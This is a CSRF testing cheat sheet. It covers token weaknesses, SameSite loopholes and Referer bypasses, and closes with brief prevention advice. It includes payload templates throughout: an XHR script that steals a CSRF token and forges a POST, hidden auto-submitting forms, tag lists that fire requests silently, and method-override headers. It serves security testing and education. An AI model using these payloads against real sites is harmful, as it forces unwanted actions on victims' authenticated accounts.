Contents

Cross-Site Request Forgery Cheat Sheet

Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Attack vectors

  1. Predictable tokens
    Verify if tokens generated by the application aren't easily guessable or possible to be reversed (for example MD5 of iterated integers).

  2. Lack of Anti-CSRF Token verification
    Verify if the Anti-CSRF token value is verified in case of both POST and GET requests.
    Verify if the values of Anti-CSRF token like NULL, None, 0, [] could bypass verification.
    Verify if the token is required (verification depends on token being present).

  3. Token used only as a Cookie
    Cookie will be attached to the request made from another domain (if there is no SameSite flag). If this value isn't replicated as a header or one of request parameters, it isn't valid defense.

  4. Token not tied to the user session
    Verify if it's possible to use valid token from another session.

  5. XSS
    Having XSS, it is possible to extract CSRF token and use it.
    Example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function XHR_XSS() {
	var xhr = new XMLHttpRequest(); 
	xhr.onreadystatechange = function() {
		if (xhr.readyState == 4) {
			var src = xhr.responseText;
			parser = new DOMParser().parseFromString(src, "text/html");
            var token = parser.getElementsByName('CSRFToken')[0].value;
            
			var token_xhr = new XMLHttpRequest();
			token_xhr.open("POST", '[URL to post form]', true);
			token_xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
			var data = "somedata=data&token=" + token;
			token_xhr.send(data);
		}
	}
	xhr.open("GET", '[URL to token extraction]', true); 
	xhr.send();
}
  1. Brute force
    Always check token entropy with at least 1000-10000 probes. If there is some pattern of creating tokens or if they repeat themselves, it is possible to try brute force it.

  2. Vulnerable subdomain
    Having subdomain which is vulnerable to XSS, subdomain takeover or cookie injection, the attacker is able to bypass:

  • CSRF-token protection
  • Double-submit cookie protection
  • Content-type based protection
  1. Cookie injection
    In case of CRLF-injection of browser bugs, it is possible to bypass double-submit cookie protection through cookie injection.

  2. Bad PDF
    PDF plugin from Adobe support FormCalc scripting - it is possible to exfiltrate Anti-CSRF token. Details here

Additional materials - hints, evasion techniques, other

Using HTTP GET as HTTP POST

This is not CSRF vulnerability, but could make exploitation easier. It allows to exploit CSRF even when SameSite=Lax is used.
Instead of using POST, we are making GET request:

1
2
3
4
5
POST /login HTTP/1.1
Host: example.com
...

login=user&password=admin

Into:

1
2
GET /login?login=user&password=admin HTTP/1.1
Host: example.com

Sending JSON payload as text/plain

Example exploitation

Exploitation conditions:

  1. Server doesn't validate request Content-Type (allows sending text/plain)
  2. Anti-CSRF or Authorization tokens aren't used
  3. SameSite cookie is set to None or this situation
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<html>
  <body>
    <form id="form" method="post" enctype="text/plain" action="https://www.victim.com/endpoint">
      <input style='display:none' name='{"foo":"' value='bar"}'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

Bypass referer header validation

  1. Forge URL to include trusted domain:
1
2
3
https://attacker.com/csrf.html?trusted.domain.com -> Referer: https://attacker.com/csrf.html?trusted.domain.com
https://attacker.com/csrf.html;trusted.domain.com -> Referer: https://attacker.com/csrf.html;trusted.domain.com
https://trusted.domain.com.attacker.com/csrf.html -> Referer: https://trusted.domain.com.attacker.com/csrf.html
  1. Use META tag within the HTML page that hosts the CSRF attack:
1
<meta name="referrer" content="never">

SameSite loopholes

  1. SameSite cookie doesn't defaults to Lax in Firefox, IE and Safari (thanks Bug Bounty Reports Explained):
From MDN Web Docs 2021-09-05

From MDN Web Docs 2021-09-05

  1. SameSite cookie defaulted (not explicitly set) to Lax by Chrome will be sent in POST requests that occur within 2 minutes of when the cookie was set. SOURCE

Note: Chrome will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests despite normal SameSite=Lax cookies requiring top-level cross-site requests to have a safe (e.g. GET) HTTP method. Support for this intervention (“Lax + POST”) will be removed in the future.

Magic parameters & headers

1
2
3
4
?_method=POST
?_ctype=application/json
X-Http-Method-Override: Post
Request-method: Post

HTML tags - Required user interaction

1
2
3
<a href=URL>click</a>
<form><input formaction=URL>
<button formaction=URL>

HTML tags - No user interaction

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<iframe src=URL>
<script src=URL />

<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL>
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="background:url(URL)">
<style>body { background:url(URL) } </style>

Auto-submitting form

1
2
3
<script>document.getElementById("CSRFForm").submit()</script>
<img src=x onerror="CSRFForm.submit();">
<input name="user" value="attacker" autofocus onfocus="CSRFForm.submit()">

Silent auto-submitting form

1
2
3
4
<iframe style="display:none" name="CSRFFrame"></iframe>
<form action="URL" method="POST" id="CSRFForm" target="CSRFFrame">
<!-- Using XHR JavaScript POST -->
<!-- Using jQuery and ajax -->

CSRF Prevention (short version)

More detailed version could be found here - OWASP CSRF Prevention Cheat Sheet

  1. Synchronizer Token
    Token generated once per user session or for each request. Included as one of the request parameters.

  2. Double Submit Cookie
    Random token which should be included both in a cookie and as a request parameter.

  3. SameSite Cookie Attribute
    SameSite=Strict prevents the cookie from being sent by the browser to the target site in all cross-site browsing context.
    SameSite=Lax allows including cookie to the requests, when they are using secure HTTP methods (GET, HEAD, OPTIONS, TRACE) and does top-level navigation.
    Implementing SameSite cookies is an additional layer of defense, shouldn't be used as replacement for CSRF tokens.

References